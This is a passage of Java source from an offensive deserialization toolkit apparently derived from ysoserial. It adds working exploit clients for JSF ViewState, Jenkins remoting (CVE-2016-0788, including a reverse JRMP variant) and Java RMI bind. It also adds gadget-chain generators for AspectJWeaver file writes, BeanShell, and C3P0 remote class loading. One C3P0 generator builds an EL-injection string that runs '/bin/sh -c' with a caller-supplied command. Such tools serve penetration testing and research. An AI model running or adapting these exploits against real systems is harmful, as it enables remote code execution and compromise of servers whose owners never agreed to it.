oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
@@ -0,0 +1,79 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
/**
* JSF view state exploit
* <p>
* Delivers a gadget payload via JSF ViewState token.
* <p>
* This will only work if ViewState encryption/mac is disabled.
* <p>
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
* <p>
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*/
public class JSF {
public static void main(String[] args) {
if (args.length < 3) {
System.err.println(JSF.class.getName() + " <view_url> <args...>");
System.exit(-1);
}
try {
URL u = new URL(args[0]);
// 去除前两个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection();
if (!(c instanceof HttpURLConnection)) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,120 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
/**
* Jenkins CLI client
* <p>
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
* <p>
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*/
public class JenkinsCLI {
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
System.exit(-1);
}
String jenkinsUrl = args[0];
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
public static Callable<?, ?> getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if (!(conn instanceof HttpURLConnection)) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if (hc.getResponseCode() >= 400) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
}
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
@@ -0,0 +1,199 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.*;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
/**
* CVE-2016-0788 exploit (1)
* <p>
* 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
* <p>
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes", "restriction"
})
public class JenkinsListener {
public static final void main(final String[] args) {
if (args.length < 5) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
System.exit(-1);
}
String jenkinsUrl = args[0];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
} catch (Exception e) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, jrmpPort, isa, e);
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
uro,
});
}
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if (start < 0) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if (sep < 0) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if (end < 0) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[0], 16);
long o2 = Long.parseLong(parts[1], 16);
short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
}
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject);
os.flush();
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
}
@@ -0,0 +1,76 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
/**
* CVE-2016-0788 exploit (2)
* <p>
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*/
public class JenkinsReverse {
public static final void main(final String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
System.exit(-1);
}
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[0];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (t != null) {
t.interrupt();
try {
t.join();
} catch (InterruptedException e) {
e.printStackTrace(System.err);
}
}
}
}
}
@@ -0,0 +1,118 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.*;
/**
* @author su18
*/
public class RMIBindExploit {
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
System.exit(-1);
}
String host = args[0];
int registryPort = Integer.parseInt(args[1]);
String command = args[2];
String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list()));
Subject subject = new Subject();
Set set = new HashSet();
set.add(new UnixPrincipal(command));
Reflections.setFieldValue(subject, "principals", set);
RMIClient r = new RMIClient();
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
r.ip = host;
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
}
static class RMIClient extends RemoteObject {
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
this.ref.invoke(var2);
Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote) var4.readObject();
Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);
f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);
HashMap rets = (HashMap) f.get(conn);
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (Exception var13) {
// var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}
return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}
}
}
@@ -0,0 +1,100 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gadget chain:
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* TiedMapEntry.hashCode()
* TiedMapEntry.getValue()
* LazyMap.get()
* SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write()
* <p>
* Usage:
* args = "<filename>;<base64 content>"
* Example:
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
* <p>
* More information:
* https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.JANG})
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(":");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,89 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.QI4L})
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
@Override
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(';');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.XThis;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
return priorityQueue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.NameSpace;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.beanshell:bsh:2.0b1"})
@Authors({Authors.KILLER})
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", ".");
i.eval(payload);
Class<?> xthis = Class.forName("bsh.XThis");
Field handlerField = xthis.getDeclaredField("invocationHandler");
handlerField.setAccessible(true);
Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
xthisDeclaredConstructor.setAccessible(true);
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
handlerField.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
return queue;
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.gadgets;
import java.net.URI;
public class BindingEnumeration implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ])));
}
}
@@ -0,0 +1,94 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
* <p>
* Arguments:
* - base_url:classname
* <p>
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P0 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className;
private final String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,86 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
/**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
@Authors({Authors.QI4L})
public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (command.startsWith("EX-") || command.startsWith("LF-")) {
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
} else {
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
}
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,79 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
